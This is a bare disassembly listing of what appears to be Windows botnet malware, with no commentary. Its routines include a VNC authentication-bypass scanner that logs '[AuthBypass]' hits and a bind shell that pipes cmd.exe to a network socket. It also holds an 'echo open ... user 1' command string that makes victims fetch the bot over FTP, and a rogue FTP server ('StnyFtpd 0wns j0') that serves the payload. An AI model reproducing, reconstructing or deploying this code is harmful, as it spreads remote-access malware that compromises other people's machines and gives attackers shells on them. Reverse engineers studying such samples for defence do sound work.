sub_40EADE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
mov ax, ds:word_44A3D4
push ebx
push esi
push 0
push 1
push 2
pop esi
mov [ebp-2], ax
push esi
call ds:dword_4E3048 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EB4C
push eax
jmp short loc_40EB80
; ---------------------------------------------------------------------------
loc_40EB4C: ; CODE XREF: _0:0040EB47j
lea eax, [ebp+0Ch]
push eax
call ds:dword_4E3008 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call ds:dword_4E2FC8 ; htons
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB8D
push ebx
loc_40EB80: ; CODE XREF: _0:0040EB4Aj
call ds:dword_4E3060 ; closesocket
xor eax, eax
jmp loc_40EDAE
; ---------------------------------------------------------------------------
loc_40EB8D: ; CODE XREF: _0:0040EB7Dj
push edi
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EAA5
add esp, 0Ch
test eax, eax
jz loc_40EDA2
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset dword_44A3D8
push eax
call sub_41FF30
add esp, 10h
cmp eax, esi
jnz loc_40EDA2
cmp dword ptr [ebp-28h], 3
jz short loc_40EBDA
cmp dword ptr [ebp-20h], 8
jnz loc_40EDA2
loc_40EBDA: ; CODE XREF: _0:0040EBCEj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EADE
add esp, 0Ch
test eax, eax
jz loc_40EDA2
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EAA5
add esp, 0Ch
test eax, eax
jz loc_40EDA2
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EADE
add esp, 0Ch
test eax, eax
jz loc_40EDA2
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EAA5
add esp, 0Ch
test eax, eax
jz loc_40EDA2
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EDA2
push 1
push offset dword_4E5CEC
push ebx
call sub_40EADE
add esp, 0Ch
test eax, eax
jz loc_40EDA2
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EAA5
add esp, 0Ch
test eax, eax
jz loc_40EDA2
mov ecx, [ebp-1Ch]
xor edx, edx
mov dl, [ebp-1Bh]
mov eax, 0FFh
shl ecx, 8
xor dl, cl
and dx, ax
xor edx, ecx
mov ecx, [ebp-1Ah]
mov [ebp-1Ch], dx
xor edx, edx
mov dl, [ebp-19h]
shl ecx, 8
xor dl, cl
and dx, ax
xor edx, ecx
mov ecx, [ebp-14h]
mov [ebp-1Ah], dx
xor edx, edx
mov dl, [ebp-13h]
shl ecx, 8
xor dl, cl
and dx, ax
xor edx, ecx
mov ecx, [ebp-12h]
mov [ebp-14h], dx
xor edx, edx
mov dl, [ebp-11h]
shl ecx, 8
xor dl, cl
and dx, ax
xor edx, ecx
mov ecx, [ebp-10h]
mov [ebp-12h], dx
xor edx, edx
mov dl, [ebp-0Fh]
shl ecx, 8
xor dl, cl
and dx, ax
xor edx, ecx
mov ecx, [ebp-8]
mov [ebp-10h], dx
mov eax, ecx
mov edx, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_420C30
push dword ptr [ebp-8]
mov esi, eax
push esi
push ebx
call sub_40EDB2
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41EC30
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409C75
add esp, 40h
lea eax, [ebp-24Ch]
push eax
call sub_415A3C
mov eax, [ebp+0B0h]
xor esi, esi
shl eax, 6
pop ecx
lea eax, dword_4481F8[eax]
inc dword ptr [eax]
inc esi
jmp short loc_40EDA4
; ---------------------------------------------------------------------------
loc_40EDA2: ; CODE XREF: _0:0040EB9Fj _0:0040EBC4j ...
xor esi, esi
loc_40EDA4: ; CODE XREF: _0:0040EDA0j
push ebx
call ds:dword_4F5538 ; closesocket
mov eax, esi
pop edi
loc_40EDAE: ; CODE XREF: _0:0040EB88j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40EDB2 proc near ; CODE XREF: _0:0040ED3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
test esi, esi
jle short loc_40EDCE
push esi
push edi
push [esp+10h+arg_0]
call sub_40EAA5
add esp, 0Ch
loc_40EDCE: ; CODE XREF: sub_40EDB2+Cj
and byte ptr [edi+esi], 0
pop edi
pop esi
retn
sub_40EDB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EDD5 proc near ; DATA XREF: sub_40EE63+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EDDE: ; CODE XREF: sub_40EDD5+25j
; sub_40EDD5+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push ds:dword_4E5D00
call ds:dword_4E2FE0 ; recv
test eax, eax
jle short loc_40EDDE
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push ds:dword_4E5CFC
call ds:dword_4F53B4 ; WriteFile
jmp short loc_40EDDE
sub_40EDD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE18 proc near ; DATA XREF: sub_40EE63+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE21: ; CODE XREF: sub_40EE18+2Fj
; sub_40EE18+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push ds:dword_4E5CF0
call ds:off_4F53BC
cmp [ebp+var_4], 0
jle short loc_40EE21
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push ds:dword_4E5D00
call ds:dword_4E3018 ; send
jmp short loc_40EE21
sub_40EE18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40EE63 proc near ; DATA XREF: sub_401C87+2D05o
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
xor esi, esi
xor edi, edi
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_38]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call ds:dword_4E2FC8 ; htons
push 6
push esi
push 2
mov [ebp+var_36], ax
call ds:dword_4E3048 ; socket
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call ds:dword_4E2FF4 ; bind
push 5
push [ebp+arg_0]
call ds:dword_4E2FF0 ; listen
mov ebx, ds:dword_4F53D0
mov esi, ds:off_4F533C
loc_40EEE3: ; CODE XREF: sub_40EE63+1CBj
push edi
push edi
push [ebp+arg_0]
call ds:dword_4E305C ; accept
mov ds:dword_4E5D00, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E5CFC
push offset dword_4E5CF8
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E5CF4
push offset dword_4E5CF0
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41E4B0
mov eax, ds:dword_4E5CF8
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, ds:dword_4E5CF4
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call ds:dword_4F53CC ; GetCurrentProcess
push eax
push ds:dword_4E5CF4
call ds:dword_4F53CC ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call ds:dword_4F5340 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EE18
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_4F5350 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40EDD5
lea eax, [ebp+var_C]
push edi
push eax
call ds:dword_4F5350 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call ds:dword_4F5374 ; WaitForSingleObject
push edi
push [ebp+var_10]
call ds:dword_4F5380 ; TerminateThread
push edi
push [ebp+var_14]
call ds:dword_4F5380 ; TerminateThread
push [ebp+var_10]
call esi ; sub_50B3D5
push [ebp+var_14]
call esi ; sub_50B3D5
push edi
push [ebp+var_28]
call ds:dword_4F53C4 ; TerminateProcess
push ds:dword_4E5CF8
call esi ; sub_50B3D5
push ds:dword_4E5CFC
call esi ; sub_50B3D5
push ds:dword_4E5CF0
call esi ; sub_50B3D5
push ds:dword_4E5CF4
call esi ; sub_50B3D5
push [ebp+var_24]
call esi ; sub_50B3D5
push [ebp+var_28]
call esi ; sub_50B3D5
jmp loc_40EEE3
sub_40EE63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40F033 proc near ; DATA XREF: _2:0043F010o
jmp $+5
sub_40F033 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F038 proc near
push 0FFFEh
push 400h
call sub_419313
pop ecx
mov ds:dword_4E5D04, eax
pop ecx
retn
sub_40F038 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F04F proc near ; DATA XREF: sub_40C049+352o
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 10h
mov [eax+98h], esi
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call ds:dword_4E2FC8 ; htons
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call ds:dword_4E3048 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40F0F6
cmp [ebp+var_1C], ebx
jnz short loc_40F0D6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409C75
add esp, 14h
loc_40F0D6: ; CODE XREF: sub_40F04F+65j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+var_AC]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_40F0F6: ; CODE XREF: sub_40F04F+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov ds:dword_455F0C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call ds:dword_4E2FF4 ; bind
cmp eax, esi
mov ebx, 400h
jnz loc_40F1F1
call ds:dword_4E2F5C ; WSAGetLastError
cmp eax, 2740h
jz short loc_40F176
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F156
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409C75
add esp, 14h
loc_40F156: ; CODE XREF: sub_40F04F+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+var_AC]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_40F176: ; CODE XREF: sub_40F04F+DEj
push 0FFFEh
push ebx
call sub_419313
pop ecx
mov ds:dword_4E5D04, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call ds:dword_4E2FF4 ; bind
cmp eax, esi
jnz short loc_40F1F1
call ds:dword_4E2F5C ; WSAGetLastError
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40F1D1
cmp eax, 2740h
jz short loc_40F1D1
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409C75
add esp, 14h
loc_40F1D1: ; CODE XREF: sub_40F04F+159j
; sub_40F04F+160j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+var_AC]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_40F1F1: ; CODE XREF: sub_40F04F+CDj
; sub_40F04F+14Cj
push 5
push edi
call ds:dword_4E2FF0 ; listen
cmp eax, esi
jz loc_40F2D6
mov [ebp+var_4], 10h
mov esi, offset byte_43F0FC
loc_40F20E: ; CODE XREF: sub_40F04F+1D7j
; sub_40F04F+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call ds:dword_4E305C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40F20E
cmp [ebp+var_1C], 0
jnz short loc_40F24F
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_409C75
add esp, 14h
loc_40F24F: ; CODE XREF: sub_40F04F+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call ds:dword_4E2FE0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_40F20E
push esi
push esi
push ds:dword_4E2D00
push [ebp+var_B0]
call sub_40AEAD
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jz loc_40F20E
inc ds:dword_4E5D08
jmp loc_40F20E
; ---------------------------------------------------------------------------
loc_40F2D6: ; CODE XREF: sub_40F04F+1ADj
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_AC]
call sub_40B9A7
pop ecx
push 0
call ds:dword_4F53A0 ; ExitThread
sub_40F04F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F2F1 proc near ; DATA XREF: sub_40C049+22Bo
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_138 = byte ptr -138h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_1C], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_24], ebx
mov [ebp+var_23C], esi
mov [ebp+var_43C], esi
call ds:dword_4F550C ; WSAStartup
push esi
push ebx
push 2
call ds:dword_4F553C ; socket
mov esi, ds:dword_4F5510
lea ecx, [ebp+var_1C]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_2C]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_24]
push eax
push 8004667Eh
push edi
call ds:dword_4F5514 ; ioctlsocket
mov ax, word ptr ds:dword_4E2D00
and [ebp+var_48], 0
push eax
mov [ebp+var_4C], 2
call ds:dword_4E2FC8 ; htons
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push edi
call ds:dword_4F5518 ; bind
test eax, eax
jge short loc_40F3B7
mov eax, ebx
jmp loc_40F902
; ---------------------------------------------------------------------------
loc_40F3B7: ; CODE XREF: sub_40F2F1+BDj
push 0Ah
push edi
call ds:dword_4F551C ; listen
mov [ebp+var_23C], ebx
mov ebx, ds:dword_4F5540
mov [ebp+var_238], edi
mov [ebp+var_4], edi
loc_40F3D5: ; CODE XREF: sub_40F2F1+11Bj
; sub_40F2F1+609j
push 41h
lea esi, [ebp+var_23C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor edi, edi
lea eax, [ebp+var_43C]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call ds:dword_4F5544 ; select
cmp eax, 0FFFFFFFFh
jz loc_40F8FF
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40F3D5
loc_40F40E: ; CODE XREF: sub_40F2F1+603j
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41E4B0
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41E4B0
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_43A942 ; __WSAFDIsSet
test eax, eax
jz loc_40F8ED
cmp edi, [ebp+var_8]
jnz short loc_40F4B7
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call ds:dword_4F5520 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40F8ED
mov edx, [ebp+var_23C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40F489
loc_40F47B: ; CODE XREF: sub_40F2F1+196j
cmp [ebp+ecx*4+var_238], eax
jz short loc_40F489
inc ecx
cmp ecx, edx
jb short loc_40F47B
loc_40F489: ; CODE XREF: sub_40F2F1+188j
; sub_40F2F1+191j
cmp ecx, edx
jnz short loc_40F49F
cmp edx, 40h
jnb short loc_40F49F
mov [ebp+ecx*4+var_238], eax
inc [ebp+var_23C]
loc_40F49F: ; CODE XREF: sub_40F2F1+19Aj
; sub_40F2F1+19Fj
cmp eax, [ebp+var_4]
jle short loc_40F4A7
mov [ebp+var_4], eax
loc_40F4A7: ; CODE XREF: sub_40F2F1+1B1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40F8ED
; ---------------------------------------------------------------------------
loc_40F4B7: ; CODE XREF: sub_40F2F1+158j
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call ds:dword_4F5534 ; recv
test eax, eax
jg short loc_40F514
mov ecx, [ebp+var_23C]
xor eax, eax
cmp ecx, esi
jbe short loc_40F508
loc_40F4D8: ; CODE XREF: sub_40F2F1+1F3j
cmp [ebp+eax*4+var_238], edi
jz short loc_40F4FD
inc eax
cmp eax, ecx
jb short loc_40F4D8
jmp short loc_40F508
; ---------------------------------------------------------------------------
loc_40F4E8: ; CODE XREF: sub_40F2F1+20Fj
mov ecx, [ebp+eax*4+var_234]
mov [ebp+eax*4+var_238], ecx
mov ecx, [ebp+var_23C]
inc eax
loc_40F4FD: ; CODE XREF: sub_40F2F1+1EEj
dec ecx
cmp eax, ecx
jb short loc_40F4E8
dec [ebp+var_23C]
loc_40F508: ; CODE XREF: sub_40F2F1+1E5j
; sub_40F2F1+1F5j
push edi
call ds:dword_4F5538 ; closesocket
jmp loc_40F8ED
; ---------------------------------------------------------------------------
loc_40F514: ; CODE XREF: sub_40F2F1+1D9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_1 ; "%s %s"
push eax
call sub_41FF30
lea eax, [ebp+var_B0]
push offset aUser_1 ; "USER"
push eax
call sub_41F7E0
add esp, 18h
test eax, eax
jnz short loc_40F558
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F558: ; CODE XREF: sub_40F2F1+258j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F57C
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F57C: ; CODE XREF: sub_40F2F1+27Cj
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5A0
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F5A0: ; CODE XREF: sub_40F2F1+2A0j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5C4
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F5C4: ; CODE XREF: sub_40F2F1+2C4j
lea eax, [ebp+var_B0]
push offset off_44A514
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F5E8
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F5E8: ; CODE XREF: sub_40F2F1+2E8j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F623
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F623
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F623: ; CODE XREF: sub_40F2F1+30Cj
; sub_40F2F1+323j
lea eax, [ebp+var_B0]
push offset aType_0 ; "TYPE"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F65E
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F65E
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F65E: ; CODE XREF: sub_40F2F1+347j
; sub_40F2F1+35Ej
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6AC
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40F69C: ; CODE XREF: sub_40F2F1+3FAj
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40F8DB
; ---------------------------------------------------------------------------
loc_40F6AC: ; CODE XREF: sub_40F2F1+382j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F6ED
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40F69C
; ---------------------------------------------------------------------------
loc_40F6ED: ; CODE XREF: sub_40F2F1+3D0j
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40F7BE
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_2A0]
push offset aS_13 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41FF30
lea eax, [ebp+var_FC]
push eax
call sub_41E710
mov [ebp+var_C], eax
lea eax, [ebp+var_2D4]
push eax
call sub_41E710
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41E4B0
push [ebp+arg_0]
lea eax, [ebp+var_FC]
push [ebp+var_C]
push offset aXX ; "%x%x\n"
push eax
call sub_41EA60
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41F450
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41EA60
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F7BE: ; CODE XREF: sub_40F2F1+411j
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40F8B9
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
call sub_40F909
pop ecx
cmp eax, 1
pop ecx
jnz loc_40F8AF
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferSta ; "ftp transfer started to: %s"
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F83E
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409C75
add esp, 14h
loc_40F83E: ; CODE XREF: sub_40F2F1+528j
call sub_40F986
cmp eax, 1
jnz loc_40F8DB
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferCom ; "ftp transfer complete to: %s"
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40F89A
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_409C75
add esp, 14h
loc_40F89A: ; CODE XREF: sub_40F2F1+584j
lea eax, [ebp+var_8E0]
push eax
call sub_415A3C
inc ds:dword_4E5ACC
pop ecx
jmp short loc_40F8DB
; ---------------------------------------------------------------------------
